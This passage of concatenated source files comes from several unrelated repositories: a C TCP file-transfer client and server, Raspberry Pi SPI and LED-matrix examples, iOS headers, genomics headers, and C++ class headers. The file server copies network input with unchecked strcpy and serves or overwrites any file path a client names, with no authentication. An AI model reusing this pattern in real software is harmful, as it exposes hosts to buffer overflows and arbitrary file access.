sizeof(cmd)); //clear command buffer memset(cmdArg, 0, sizeof(cmdArg)); //clear command arguments buffer //read the whole input until linefeed fgets (buffer, bufferSize, stdin); //split fgets() result into command and argument sscanf(buffer, "%s %s", cmd, cmdArg); //if input is QUIT, then just EXIT if (strcmp(cmd, "quit") == 0) { doLoop = 0; //if input is GET } else if (strcmp(cmd, "get") == 0) { //buffer should be cleared again memset(buffer, 0, bufferSize); strcpy(buffer, "@SEND "); strcat(buffer, cmdArg); send(s_tcp, buffer, strlen(buffer), 0); memset(buffer, 0, bufferSize); // read the header info and print received caracters recv(s_tcp, buffer, bufferSize, 0); printf("%s", buffer); // Send a simple "OK" send(s_tcp, "OK", 4, 0); // write and display the file receiveFile(cmdArg, s_tcp, 0); } else if (strcmp(cmd, "put") == 0) { // Send an info, that a file is being sent memset(buffer, 0, bufferSize); strcpy(buffer, "@RECEIVE "); strcat(buffer, cmdArg); //send server information about the file to receive send(s_tcp, buffer, strlen(buffer), 0); // Wait for an answer from server memset(buffer, 0, bufferSize); recv(s_tcp, buffer, bufferSize, 0); // Send file lines sendFile(cmdArg, s_tcp); // Wait for answer memset(buffer, 0, bufferSize); recv(s_tcp, buffer, bufferSize, 0); printf("Completion Answer from Server: %s\n", buffer); } else { //if there were unknown input: printf("Command %s unknown\n", cmd); } printf("\n"); }//while (doLoop) printf("Closing connection.\n"); close(s_tcp); } /** * Create server socket */ void server(char** argv) { int s_tcp, s_client; // socket descriptors struct sockaddr_in6 sa_client; // socket address structures int sa_len = sizeof (struct sockaddr_in), n; char* serverAddress = argv[2]; // argv is taken from main method char* buffer; //buffer for all string operations int bufferSize = 1024; buffer = malloc(bufferSize * sizeof (char)); char fileName[256], hostName[64]; char ipstr[INET6_ADDRSTRLEN]; struct sockaddr_storage addrInfo; socklen_t addrInfoLen = sizeof(addrInfo); // create a socket for the server s_tcp = createSocket(serverAddress, "SERVER"); ///////////Main server loop/////////// ////////////////////////////////////// //main loop can be interrupted only by using "CTRL + C" while (1) { printf("> Waiting for TCP connections ... \n"); if ((s_client = accept(s_tcp, (struct sockaddr*) &sa_client, &sa_len)) < 0) { perror("accept"); close(s_tcp); exit(1); } printf("accepted\n"); n = 1; getsockname(s_client, (struct sockaddr *)&addrInfo, &addrInfoLen); //getpeername(sa_client, (struct sockaddr*)&addrInfo, &addrInfoLen); //as long as client sends data, server receives and evaluates it //if client sends 0 Bytes, the connection will be closed and the //server will return to the main loop and wait for new connections while (n > 0) { memset(buffer, 0, bufferSize); // Prepare receive buffer with zeros n = recv(s_client, buffer, bufferSize, 0); if (n > 0) { // interpretation of the received command, only two options: // "@RECEIVE [filename]" means, the client will send a file // named [filename] // "@SEND [filename]" means, the client requests the contents // of file [filename]. if (strncmp(buffer, "@RECEIVE", 8) == 0) { strcpy(fileName, buffer+9); // Tell client that the command is accepted send(s_client, "OK", 3, 0); // create the file receiveFile(fileName, s_client, 1); //convert client address from binary to string //inet_ntop(sa_client.sin6_family, &(sa_client.sin6_addr), ipstr, sizeof(ipstr)); struct sockaddr_in6 *s = (struct sockaddr_in6 *)&addrInfo; inet_ntop(AF_INET6, &s->sin6_addr, ipstr, sizeof(ipstr)); memset(buffer, 0, bufferSize); //write into buffer the result after receiving and send to client //after that server is waiting for the next order sprintf(buffer, "OK <%s>:<%d>", ipstr, ntohs(sa_client.sin6_port)); send(s_client, buffer, bufferSize, 0); } else if (strncmp(buffer, "@SEND", 5) == 0) { strcpy(fileName, buffer+6); // Return message // <Date + Time> // <Serverhostname> // <used Server-IP-Address> // contents of <filename> gethostname(hostName, sizeof(hostName)); //get pc name //convert client address from binary to string //inet_ntop(sa_client.sin6_family, &(sa_client.sin6_addr), ipstr, sizeof(ipstr)); struct sockaddr_in6 *s = (struct sockaddr_in6 *)&addrInfo; inet_ntop(AF_INET6, &s->sin6_addr, ipstr, sizeof(ipstr)); time_t tmpTime; time(&tmpTime); struct tm* curLocalTime = localtime(&tmpTime); memset(buffer, 0, bufferSize); sprintf(buffer, "<%02d.%02d.%d %02d:%02d:%02d>\n<%s>\n<%s>\n", curLocalTime->tm_mday, curLocalTime->tm_mon + 1, curLocalTime->tm_year + 1900, curLocalTime->tm_hour, curLocalTime->tm_min, curLocalTime->tm_sec, hostName, ipstr); send(s_client, buffer, bufferSize, 0);//send Header recv(s_client, buffer, bufferSize, 0); // send the file sendFile(fileName, s_client); }//else if (@SEND) }//if(n>0) }//while(n>0) }//while(1) free(buffer); close(s_tcp); }//server () /** * receive file from socket and store it locally */ int receiveFile(char* fileName, int socket, int display) { char* buffer; //buffer for received data chars int bufferSize = 65535; buffer = malloc(bufferSize * sizeof (char)); int eof = 0; FILE* inFile = NULL; // Ask the other side, if the requested file was found memset(buffer, 0, bufferSize); recv(socket, buffer, bufferSize, 0); if (strncmp(buffer, "@OK", 3) != 0) { eof = 1; // don't start writing if(display == 0){ printf("%s\n", buffer); } } else { eof = 0; // create the file or overwrite if already exists inFile = fopen(fileName, "w+"); } // Dummy answer send(socket, "@OK", 4, 0); // receive file lines while(eof == 0) { memset(buffer, 0, bufferSize); //fill the buffer with data from socket recv(socket, buffer, bufferSize, 0); //write the data from buffer into outfile fputs (buffer, inFile); if(display == 0){ printf("%s", buffer); } // check if file is complete //at the end of the filedata there is an appended string "@EOF" after "\0" if (strcmp((buffer + strlen(buffer) + 1), "@EOF") == 0) { //printf("File finished\n"); eof=1; } }//while(eof == 0) free(buffer); if (inFile != NULL) { fclose(inFile); } return 0; } /** * sends requested file * if such file is absent, an error message is returned instead */ int sendFile(char* fileName, int socket) { char* buffer; // Another local character buffer int bufferSize = 65535; buffer = malloc(bufferSize * sizeof (char)); int returnValue = 0; FILE* outFile = fopen(fileName, "r"); //if the file isn't readable or doesn't exist //send error-message and return error code if (outFile == NULL) { memset(buffer, 0, bufferSize); //write to socket buffer sprintf(buffer, "File \"%s\" not found.\n", fileName); printf("%s", buffer); // Tell the other side, if the requested file was found send(socket, "File not Found!", 16, 0); recv(socket, buffer, bufferSize, 0); returnValue = 1; } else { // Tell the other side, if the requested file was found send(socket, "@OK", 4, 0); recv(socket, buffer, bufferSize, 0); // Send file lines while (!feof(outFile)) { memset(buffer, 0, bufferSize); //read from file line by line and send it fgets (buffer, bufferSize, outFile); send(socket, buffer, strlen(buffer), 0); } memset(buffer, 0, bufferSize); //to mark the end of the file append extra "@EOF" after "\0" strcpy(buffer+1 , "@EOF"); send(socket, buffer, 5, 0); } free(buffer); return returnValue; }
303774813/FFCategoryKit
FFCategoryKit/Classes/yuanma.h
// // yuanma.h // yuanma // // Created by yiche on 2019/4/8. // Copyright © 2019 yiche. All rights reserved. // #import <Foundation/Foundation.h> @interface yuanma : NSObject - (void)sayhi; @end
303774813/FFCategoryKit
Example/FFCategoryKit/FFViewController.h
<filename>Example/FFCategoryKit/FFViewController.h<gh_stars>0 // // FFViewController.h // FFCategoryKit // // Created by 303774813 on 04/09/2019. // Copyright (c) 2019 303774813. All rights reserved. // @import UIKit; @interface FFViewController : UIViewController @end
noldeni/arduino-spectrum-analyzer
RPi_LED_Matrix_code/Dot_test/Dot_test.c
<reponame>noldeni/arduino-spectrum-analyzer<filename>RPi_LED_Matrix_code/Dot_test/Dot_test.c // blink.c // // Example program for bcm2835 library // Blinks a pin on an off every 0.5 secs // // After installing bcm2835, you can build this // with something like: // make or gcc -o led led.c -lbcm2835 // sudo ./led /* define from bcm2835.h define from Board DVK511 3.3V | | 5V -> 3.3V | | 5V RPI_V2_GPIO_P1_03 | | 5V -> SDA | | 5V RPI_V2_GPIO_P1_05 | | GND -> SCL | | GND RPI_GPIO_P1_07 | | RPI_GPIO_P1_08 -> IO7 | | TX GND | | RPI_GPIO_P1_10 -> GND | | RX RPI_GPIO_P1_11 | | RPI_GPIO_P1_12 -> IO0 | | IO1 RPI_V2_GPIO_P1_13 | | GND -> IO2 | | GND RPI_GPIO_P1_15 | | RPI_GPIO_P1_16 -> IO3 | | IO4 VCC | | RPI_GPIO_P1_18 -> VCC | | IO5 RPI_GPIO_P1_19 | | GND -> MOSI | | GND RPI_GPIO_P1_21 | | RPI_GPIO_P1_22 -> MISO | | IO6 RPI_GPIO_P1_23 | | RPI_GPIO_P1_24 -> SCK | | CE0 GND | | RPI_GPIO_P1_26 -> GND | | CE1 ::if your raspberry Pi is version 1 or rev 1 or rev A RPI_V2_GPIO_P1_03->RPI_GPIO_P1_03 RPI_V2_GPIO_P1_05->RPI_GPIO_P1_05 RPI_V2_GPIO_P1_13->RPI_GPIO_P1_13: */ #include <bcm2835.h> #include <stdio.h> #define uchar unsigned char #define uint unsigned int //#define Max7219_pinCLK RPI_GPIO_P1_11 #define Max7219_pinCS RPI_GPIO_P1_24 //#define Max7219_pinDIN RPI_V2_GPIO_P1_13 uchar disp1[38][8] = { {0x3C,0x42,0x42,0x42,0x42,0x42,0x42,0x3C},//0 {0x10,0x30,0x50,0x10,0x10,0x10,0x10,0x7C},//1 {0x3E,0x02,0x02,0x3E,0x20,0x20,0x3E,0x00},//2 {0x00,0x7C,0x04,0x04,0x7C,0x04,0x04,0x7C},//3 {0x08,0x18,0x28,0x48,0xFE,0x08,0x08,0x08},//4 {0x3C,0x20,0x20,0x3C,0x04,0x04,0x3C,0x00},//5 {0x3C,0x20,0x20,0x3C,0x24,0x24,0x3C,0x00},//6 {0x3E,0x22,0x04,0x08,0x08,0x08,0x08,0x08},//7 {0x00,0x3E,0x22,0x22,0x3E,0x22,0x22,0x3E},//8 {0x3E,0x22,0x22,0x3E,0x02,0x02,0x02,0x3E},//9 {0x08,0x14,0x22,0x3E,0x22,0x22,0x22,0x22},//A {0x3C,0x22,0x22,0x3E,0x22,0x22,0x3C,0x00},//B {0x3C,0x40,0x40,0x40,0x40,0x40,0x3C,0x00},//C {0x7C,0x42,0x42,0x42,0x42,0x42,0x7C,0x00},//D {0x7C,0x40,0x40,0x7C,0x40,0x40,0x40,0x7C},//E {0x7C,0x40,0x40,0x7C,0x40,0x40,0x40,0x40},//F {0x3C,0x40,0x40,0x40,0x40,0x44,0x44,0x3C},//G {0x44,0x44,0x44,0x7C,0x44,0x44,0x44,0x44},//H {0x7C,0x10,0x10,0x10,0x10,0x10,0x10,0x7C},//I {0x3C,0x08,0x08,0x08,0x08,0x08,0x48,0x30},//J {0x00,0x24,0x28,0x30,0x20,0x30,0x28,0x24},//K {0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x7C},//L {0x81,0xC3,0xA5,0x99,0x81,0x81,0x81,0x81},//M {0x00,0x42,0x62,0x52,0x4A,0x46,0x42,0x00},//N {0x3C,0x42,0x42,0x42,0x42,0x42,0x42,0x3C},//O {0x3C,0x22,0x22,0x22,0x3C,0x20,0x20,0x20},//P {0x1C,0x22,0x22,0x22,0x22,0x26,0x22,0x1D},//Q {0x3C,0x22,0x22,0x22,0x3C,0x24,0x22,0x21},//R {0x00,0x1E,0x20,0x20,0x3E,0x02,0x02,0x3C},//S {0x00,0x3E,0x08,0x08,0x08,0x08,0x08,0x08},//T {0x42,0x42,0x42,0x42,0x42,0x42,0x22,0x1C},//U {0x42,0x42,0x42,0x42,0x42,0x42,0x24,0x18},//V {0x00,0x49,0x49,0x49,0x49,0x2A,0x1C,0x00},//W {0x00,0x41,0x22,0x14,0x08,0x14,0x22,0x41},//X {0x41,0x22,0x14,0x08,0x08,0x08,0x08,0x08},//Y {0x00,0x7F,0x02,0x04,0x08,0x10,0x20,0x7F},//Z {0x08,0x7F,0x49,0x49,0x7F,0x08,0x08,0x08},//中 {0xFE,0xBA,0x92,0xBA,0x92,0x9A,0xBA,0xFE},//国 }; void Delay_xms(uint x) { bcm2835_delay(x); } //------------------------ void Write_Max7219_byte(uchar DATA) { uchar i ; bcm2835_gpio_write(Max7219_pinCS,LOW); /* for(i = 8; i >= 1; i--) { bcm2835_gpio_write(Max7219_pinCLK,LOW); bcm2835_gpio_write( Max7219_pinDIN, (DATA & 0x80)); DATA = DATA << 1; bcm2835_gpio_write(Max7219_pinCLK,HIGH); } */ bcm2835_spi_transfer(DATA); } void Write_Max7219(uchar address1,uchar dat1,uchar address2,uchar dat2) //void Write_Max7219(uchar address,uchar dat) { bcm2835_gpio_write(Max7219_pinCS,LOW); Write_Max7219_byte(address1); Write_Max7219_byte(dat1); Write_Max7219_byte(address2); Write_Max7219_byte(dat2); //_nop_(); //Write_Max7219_byte(address); //Write_Max7219_byte(dat); bcm2835_gpio_write(Max7219_pinCS,HIGH); } void Init_MAX7219(void) { Write_Max7219(0x09,0x00,0x09,0x00); Write_Max7219(0x0a,0x03,0x0a,0x03); Write_Max7219(0x0b,0x07,0x0b,0x07); Write_Max7219(0x0c,0x01,0x0c,0x01); Write_Max7219(0x0f,0x00,0x0f,0x00); } /*void Init_MAX7219(void) { Write_Max7219(0x09,0x00); Write_Max7219(0x0a,0x03); Write_Max7219(0x0b,0x07); Write_Max7219(0x0c,0x01); Write_Max7219(0x0f,0x00); } */ void main(void) { uchar i , j; if (!bcm2835_init()) return 1; bcm2835_spi_begin(); bcm2835_spi_setBitOrder(BCM2835_SPI_BIT_ORDER_MSBFIRST); // The default bcm2835_spi_setDataMode(BCM2835_SPI_MODE0); // The default bcm2835_spi_setClockDivider(BCM2835_SPI_CLOCK_DIVIDER_256); // The default bcm2835_gpio_fsel(Max7219_pinCS, BCM2835_GPIO_FSEL_OUTP); bcm2835_gpio_write(disp1[j][i],HIGH); Delay_xms(50); Init_MAX7219(); while(1) { for(j = 0;j <37; j++) { for(i = 1;i < 9;i++) Write_Max7219(i , disp1[j+1][i-1],i,disp1[j][i-1]); Delay_xms(1000); } } bcm2835_spi_end(); bcm2835_close(); return 0; }
noldeni/arduino-spectrum-analyzer
bcm2835-1.50/examples/spi/spi.c
// spi.c // // Example program for bcm2835 library // Shows how to interface with SPI to transfer a byte to and from an SPI device // // After installing bcm2835, you can build this // with something like: // gcc -o spi spi.c -l bcm2835 // sudo ./spi // // Or you can test it before installing with: // gcc -o spi -I ../../src ../../src/bcm2835.c spi.c // sudo ./spi // // Author: <NAME> // Copyright (C) 2012 <NAME> // $Id: RF22.h,v 1.21 2012/05/30 01:51:25 mikem Exp $ #include <bcm2835.h> #include <stdio.h> int main(int argc, char **argv) { // If you call this, it will not actually access the GPIO // Use for testing // bcm2835_set_debug(1); if (!bcm2835_init()) { printf("bcm2835_init failed. Are you running as root??\n"); return 1; } if (!bcm2835_spi_begin()) { printf("bcm2835_spi_begin failedg. Are you running as root??\n"); return 1; } bcm2835_spi_setBitOrder(BCM2835_SPI_BIT_ORDER_MSBFIRST); // The default bcm2835_spi_setDataMode(BCM2835_SPI_MODE0); // The default bcm2835_spi_setClockDivider(BCM2835_SPI_CLOCK_DIVIDER_65536); // The default bcm2835_spi_chipSelect(BCM2835_SPI_CS0); // The default bcm2835_spi_setChipSelectPolarity(BCM2835_SPI_CS0, LOW); // the default // Send a byte to the slave and simultaneously read a byte back from the slave // If you tie MISO to MOSI, you should read back what was sent uint8_t send_data = 0x23; uint8_t read_data = bcm2835_spi_transfer(send_data); printf("Sent to SPI: 0x%02X. Read back from SPI: 0x%02X.\n", send_data, read_data); if (send_data != read_data) printf("Do you have the loopback from MOSI to MISO connected?\n"); bcm2835_spi_end(); bcm2835_close(); return 0; }
ShenYj/JSProgressHud
JSProgressHUD/JSProgressHUD/JSProgressHUD/JSLoadIngView.h
// // JSLoadIngView.h // JSProgressHUD // // Created by ShenYj on 2017/5/27. // Copyright © 2017年 Auko. All rights reserved. // #import <UIKit/UIKit.h> @interface JSLoadIngView : UIView /** 文本提示 */ @property (nonatomic,strong) UILabel *contentLabel; @end
ShenYj/JSProgressHud
JSProgressHUD/JSProgressHUD/JSProgressHUD/JSProgressHUD.h
// // JSProgressHUD.h // JSProgressHUD // // Created by ShenYj on 2017/5/26. // Copyright © 2017年 Auko. All rights reserved. // #import <Foundation/Foundation.h> #import <UIKit/UIKit.h> static NSString * const kJSProgressHUDRequest = @"正在请求..."; static NSString * const kJSProgressHUDSuccess = @"请求完成..."; static NSString * const kJSProgressHUDNoMore = @"没有更多数据了..."; static NSString * const kJSProgressHUDFail = @"您的网络不给力!"; @interface JSProgressHUD : MBProgressHUD /*! * @metohd sharedProgressHUD: * * @discussion 单例 */ + (instancetype)sharedProgressHUD; /*! * @metohd js_showHUDTo: animated: * * @param view 将要添加到的视图 * @param animated 是否有动画效果 * * @discussion 显示遮罩视图 */ - (void)js_showHUDTo:(UIView *)view animated:(BOOL)animated; /*! * @property noticeString * * @discussion 文本提示内容 */ @property (nonatomic,copy) NSString *noticeString; @end
ShenYj/JSProgressHud
JSProgressHUD/JSProgressHUD/ViewController.h
// // ViewController.h // JSProgressHUD // // Created by ShenYj on 2017/5/26. // Copyright © 2017年 Auko. All rights reserved. // #import <UIKit/UIKit.h> @interface ViewController : UIViewController @end
ShenYj/JSProgressHud
JSProgressHUD/JSProgressHUD/Extension/UIColor+JSExtension.h
<reponame>ShenYj/JSProgressHud // // UIColor+JSExtension.h // TableView联动 // // Created by ShenYj on 16/8/18. // Copyright © 2016年 ___ShenYJ___. All rights reserved. // #import <UIKit/UIKit.h> @interface UIColor (JSExtension) /** * 设置RGB颜色 * * @param red red: 0 ~ 255 * @param green green: 0 ~ 255 * @param blue blue: 0 ~ 255 * * @return RGB颜色 */ + (UIColor *)js_RGBColorWithRed:(CGFloat)red withGreen:(CGFloat)green withBlue:(CGFloat)blue; /*! * @metohd grayColor: * * @param number 0~255的数值,设置需要的灰度值 * * @discussion 设置指定灰度颜色 */ + (UIColor *)js_GrayColor:(CGFloat)number; /** * 生成随机色 * * @return 返回随机色 */ + (UIColor *)js_randomColor; /** * 根据无符号的 32 位整数转换成对应的 RGB 颜色 * * @param hex hex * * @return UIColor */ + (instancetype)js_colorWithHex:(u_int32_t)hex; @end
nuin/freebayes
src/ResultData.h
<reponame>nuin/freebayes #ifndef __RESULT_DATA_H #define __RESULT_DATA_H #include <vector> #include <ostream> #include <iomanip> #include "Genotype.h" #include "Allele.h" #include "Utility.h" #include "AlleleParser.h" #include "Variant.h" #include "version_git.h" #include "Result.h" using namespace std; // for sorting data likelihoods class DataLikelihoodCompare { public: bool operator()(const pair<Genotype*, long double>& a, const pair<Genotype*, long double>& b) { return a.second > b.second; } }; // maps sample names to results class Results : public map<string, Result> { public: void update(SampleDataLikelihoods& likelihoods) { for (SampleDataLikelihoods::iterator s = likelihoods.begin(); s != likelihoods.end(); ++s) { vector<SampleDataLikelihood>& sdls = *s; string& name = sdls.front().name; Result& result = (*this)[name]; result.clear(); for (vector<SampleDataLikelihood>::iterator s = sdls.begin(); s != sdls.end(); ++s) { result.push_back(*s); } } } vcf::Variant& vcf( vcf::Variant& var, // variant to update BigFloat pHom, long double bestComboOddsRatio, //long double alleleSamplingProb, Samples& samples, string refbase, vector<Allele>& altAlleles, map<string, int> repeats, int genotypingIterations, vector<string>& sampleNames, int coverage, GenotypeCombo& genotypeCombo, map<string, vector<Allele*> >& alleleGroups, map<string, vector<Allele*> >& partialObservationGroups, map<Allele*, set<Allele*> >& partialSupport, map<int, vector<Genotype> >& genotypesByPloidy, vector<string>& sequencingTechnologies, AlleleParser* parser); }; string dateStr(void); void vcfHeader(ostream& out, string referenceFileName, vector<string>& samples, Parameters& parameters, vector<string>& sequencingTechnologies); #endif
nuin/freebayes
src/DataLikelihood.h
<filename>src/DataLikelihood.h #ifndef __DATALIKELIHOOD_H #define __DATALIKELIHOOD_H #include <iostream> #include <vector> #include <utility> // pair #include <algorithm> #include <numeric> #include <vector> #include <iterator> #include <cmath> #include "Allele.h" #include "Sample.h" #include "Genotype.h" #include "Utility.h" #include "Multinomial.h" #include "Dirichlet.h" #include "Bias.h" #include "Contamination.h" using namespace std; long double probObservedAllelesGivenGenotype( Sample& sample, Genotype& genotype, double dependenceFactor, bool useMapQ, Bias& observationBias, bool standardGLs, vector<Allele>& genotypeAlleles, Contamination& contaminations, map<string, double>& freqs); vector<pair<Genotype*, long double> > probObservedAllelesGivenGenotypes( Sample& sample, vector<Genotype*>& genotypes, double dependenceFactor, bool useMapQ, Bias& observationBias, bool standardGLs, vector<Allele>& genotypeAlleles, Contamination& contaminations, map<string, double>& freqs); #endif
wzhhh123/Vk
Moss/src/Moss/Moss.h
<reponame>wzhhh123/Vk #pragma once // for use by moss applications #include "Application.h" #include "Log.h" #include "EntryPoint.h"
wzhhh123/Vk
Moss/src/Moss/Core.h
#pragma once #ifdef MOSS_PLATFORM_WINDOWS #ifdef MOSS_BUILD_DLL #define MOSS_API __declspec(dllexport) #else #define MOSS_API __declspec(dllimport) #endif #else #error Moss only support Windows! #endif
wzhhh123/Vk
Moss/src/Moss/Log.h
<filename>Moss/src/Moss/Log.h<gh_stars>0 #pragma once #include <memory.h> #include "Core.h" #include "spdlog/spdlog.h" namespace Moss { class MOSS_API Log { public: static void Init(); inline static std::shared_ptr<spdlog::logger>&GetCoreLogger() { return s_CoreLogger; } inline static std::shared_ptr<spdlog::logger>&GetClientLogger() { return s_ClientLogger; } private: static std::shared_ptr<spdlog::logger> s_ClientLogger; static std::shared_ptr<spdlog::logger> s_CoreLogger; }; } //Core log macros #define MS_CORE_ERROR(...) ::Moss::Log::GetCoreLogger()->error(__VA_ARGS__) #define MS_CORE_WARN(...) ::Moss::Log::GetCoreLogger()->warn(__VA_ARGS__) #define MS_CORE_INFO(...) ::Moss::Log::GetCoreLogger()->info(__VA_ARGS__) #define MS_CORE_TRACE(...) ::Moss::Log::GetCoreLogger()->trace(__VA_ARGS__) #define MS_CORE_FATAL(...) ::Moss::Log::GetCoreLogger()->fatal(__VA_ARGS__) //Client log macros #define MS_CLIENT_ERROR(...) ::Moss::Log::GetClientLogger()->error(__VA_ARGS__) #define MS_CLIENT_WARN(...) ::Moss::Log::GetClientLogger()->warn(__VA_ARGS__) #define MS_CLIENT_INFO(...) ::Moss::Log::GetClientLogger()->info(__VA_ARGS__) #define MS_CLIENT_TRACE(...) ::Moss::Log::GetClientLogger()->trace(__VA_ARGS__) #define MS_CLIENT_FATAL(...) ::Moss::Log::GetClientLogger()->fatal(__VA_ARGS__)
leticiamp/LPI
include/automovel.h
#ifndef AUTOMOVEL_H #define AUTOMOVEL_H #include <iostream> #include <string> #include <vector> #include <algorithm> class Automovel { private: std::string m_marca; float m_preco; std::string m_chassi; long int m_dataFabricacao; std::string m_modelo; public: Automovel(); //Construtor padrão Automovel(std::string marca_, float preco_, std::string chassi_, long int dataFabricacao_, std::string modelo_); //Construtor parametrizado ~Automovel(); //Destrutor //Getters e Setters std::string getMarca(); void setMarca(std::string marca_); float getPreco(); void setPreco(float preco_); std::string getChassi(); void setChassi(std::string chassi_); long int getDataFabricacao(); void setDataFabricacao(long int dataFabricacao_); std::string getModelo(); void setModelo(std::string modelo_); friend std::ostream& operator<< (std::ostream &o, Automovel const a); //Sobrecarga do operador de inserção }; #endif
leticiamp/LPI
include/propriedade.h
<gh_stars>1-10 #ifndef PROPRIEDADE_H #define PROPRIEDADE_H template <class T> class Propriedade { private: T m_primeiroNome; T m_segundoNome; public: Propriedade(T primeiroNome_, T segundoNome_); //Construtor parametrizado ~Propriedade(); //Destrutor T getPrimeiroNome(); void setPrimeiroNome(T primeiroNome_); T getSegundoNome(); void setSegundoNome(T segundoNome_); }; template <class T> Propriedade<T>::Propriedade(T primeiroNome_, T segundoNome_) { m_primeiroNome = primeiroNome_; m_segundoNome = segundoNome_; } template <class T> Propriedade<T>::~Propriedade() {} template <class T> T Propriedade<T>::getPrimeiroNome() { return m_primeiroNome; } template <class T> void Propriedade<T>::setPrimeiroNome(T primeiroNome_) { m_primeiroNome = primeiroNome_; } template <class T> T Propriedade<T>::getSegundoNome() { return m_segundoNome; } template <class T> void Propriedade<T>::setSegundoNome(T segundoNome_) { m_segundoNome = segundoNome_; } #endif
leticiamp/LPI
include/system.h
#ifndef SYSTEM_H #define SYSTEM_H #include <iostream> #include <fstream> #include <cstdlib> #include <string> #include <streambuf> #include "automovel.h" #include "concessionaria.h" class System { private: std::vector<Concessionaria> v_lojas; //Vetor de concessionarias public: System(); //Construtor padrão ~System(); //Destrutor std::vector<Concessionaria> getV_lojas(); void setV_carros(Concessionaria lojas_); void newconc(); //criar consessionaria void newcar(Concessionaria &C); //criar carro void media(); //Calcula a média dos carros por concessionária char menuInicial(); char menuConcessionaria(); char menuAutomovel(); void listarConcessionaria(); //Lista o proprietário, a frota total de cada tipo de veículo e o valor total dos veículos void escreveConcessionaria(std::string nome); //Escreve informações de uma concessionaria em um arquivo .txt Concessionaria lerConcessionaria(const std::string& arq); //Lê informações de uma concessionaria em um arquivo .txt }; #endif
leticiamp/LPI
include/carro.h
#ifndef CARRO_H #define CARRO_H #include "automovel.h" enum Tipo_motor { GASOLINA, ELETRICO }; class Carro : public Automovel { private: Tipo_motor m_tipo_motor; public: Carro(); Carro(Tipo_motor tipo_motor_); ~Carro(); Tipo_motor getTipo_motor(); void setTipo_motor(Tipo_motor tipo_motor_); }; #endif
leticiamp/LPI
include/moto.h
<filename>include/moto.h #ifndef MOTO_H #define MOTO_H #include "automovel.h" enum Model { CLASSICO, ESPORTIVO }; class Moto : public Automovel { private: Model m_model; public: Moto(); Moto(Model model); ~Moto(); Model getModel(); void setModel(Model model); }; #endif
leticiamp/LPI
include/concessionaria.h
<gh_stars>1-10 #ifndef CONCESSIONARIA_H #define CONCESSIONARIA_H #include "automovel.h" #include "data.h" #include "propriedade.h" class Concessionaria { private: std::string m_nome; int m_cnpj; int m_estoque; std::string m_proprietario; //Propriedade<T> m_propriedade; std::vector<Automovel> v_carros; //Vetor de carros std::vector<std::string> v_chassis; //Vetor de chassis public: Concessionaria(); //Construtor padrão Concessionaria(std::string nome, int cnpj, int estoque, std::string proprietario_); //Construtor parametrizado ~Concessionaria(); //Destrutor //Getters e Setters std::string getNome(); void setNome(std::string nome_); int getCnpj(); void setCnpj(int cnpj_); int getEstoque(); void setEstoque(int estoque_); std::string getProprietario(); void setProprietario(std::string proprietario_); std::vector<Automovel> getV_carros(); void setV_carros(Automovel carro_); std::vector<std::string> getV_chassis(); void setV_chassis(std::string chassi_); void aumentarValor(float porcentagem); //Aumento de x% no preço dos carros void buscarChassi(std::string chassi_); //Função que encontra veículo pelo chassi float valorTotal(); //Função que calcula o valor de todos os veículos de uma concessionária }; #endif
leticiamp/LPI
include/caminhao.h
<filename>include/caminhao.h<gh_stars>1-10 #ifndef CAMINHAO_H #define CAMINHAO_H #include "automovel.h" enum Tipo_carga { COMUM, PERIGOSA }; class Caminhao : public Automovel { private: Tipo_carga m_tipo_carga; public: Caminhao(); Caminhao(Tipo_carga tipo_carga_); ~Caminhao(); Tipo_carga getTipo_carga(); void setTipo_carga(Tipo_carga tipo_carga_); }; #endif
aidan-clyens/Arduino_Data_Structures
Vector/src/Vector.h
/***********************************************************/ /* Vector /* /* A dynamically resizable vector data structure. /* To be used with Arduino, so this uses no C++ standard /* library functions. /* /* <NAME> /* May 29, 2018 /***********************************************************/ #ifndef VECTOR_H #define VECTOR_H #ifdef ARDUINO_H #include "Arduino.h" #else #include <iostream> #endif template <typename Type> class vector { public: vector( int = 16 ); ~vector(); // Size int size() const; int capacity() const; bool empty() const; // Element Access Type &at( int ) const; Type &operator[]( int ) const; Type &front() const; Type &back() const; // Modifiers void push_back( const Type & ); void pop_back(); // Misc. void print(); private: void double_capacity(); void half_capacity(); int vector_size; int vector_capacity; Type *array; }; /*************************************** * Constructors ****************************************/ /* * Default Vector Constructor */ template <typename Type> vector<Type>::vector(int n): vector_capacity( n ), vector_size( 0 ), array( new Type[n] ) { // Empty } /* * Vector Destructor */ template <typename Type> vector<Type>::~vector() { delete[] array; } /*************************************** * Public Size Functions ****************************************/ /* size * Returns the size of the vector. */ template <typename Type> int vector<Type>::size() const { return vector_size; } /* capacity * Returns the current capacity of the vector. */ template <typename Type> int vector<Type>::capacity() const { return vector_capacity; } /* empty * Returns whether the vector is empty or not. */ template <typename Type> bool vector<Type>::empty() const { return (vector_size == 0); } /*************************************** * Public Element Access Functions ****************************************/ /* at * Returns the value at the specified index. */ template <typename Type> Type &vector<Type>::at(int i) const { if (i >= vector_size) { // TODO: Throw OutOfRange exception } return array[i]; } /* operator[] * Returns the value at the specifed index, the same as the at() function. */ template <typename Type> Type &vector<Type>::operator[](int i) const { if (i >= vector_size) { // TDOD: Throw OutOfRange exception } return array[i]; } /* front * Return the element at the back of the vector. */ template <typename Type> Type &vector<Type>::front() const { return array[0]; } /* back * Return the element at the back of the vector. */ template <typename Type> Type &vector<Type>::back() const { return array[vector_size - 1]; } /*************************************** * Public Modifier Functions ****************************************/ /* push_back * Push a new element to the back of the vector. */ template <typename Type> void vector<Type>::push_back(const Type &obj) { if (vector_size == vector_capacity) double_capacity(); // Resize array[vector_size] = obj; ++vector_size; } /* pop_back * Remove the back element from the vector. */ template <typename Type> void vector<Type>::pop_back() { if (empty()) return; if (vector_size <= vector_capacity / 4 && vector_capacity > 16) half_capacity(); --vector_size; } /*************************************** * Misc. Functions ****************************************/ /* print_vector * Print the vector contents. */ template <typename Type> void vector<Type>::print() { for (int i = 0; i < size(); ++i) { #ifdef ARDUINO_H Serial.print(at(i)); Serial.print(" "); #else std::cout << at(i) << " "; #endif } #ifdef ARDUINO_H Serial.println(); #else std::cout << std::endl; #endif } /*************************************** * Private Functions ****************************************/ /* double_capacity * Double the capacity of the array used for the vector. */ template <typename Type> void vector<Type>::double_capacity() { int new_capacity = 2 * vector_capacity; Type *temp = array; array = new Type[new_capacity]; for (int i = 0; i < vector_size; ++i) { array[i] = temp[i]; } vector_capacity = new_capacity; delete[] temp; } /* half_capacity * Half the capacity of the array used for the vector. */ template <typename Type> void vector<Type>::half_capacity() { int new_capacity = vector_capacity / 2; Type *temp = array; array = new 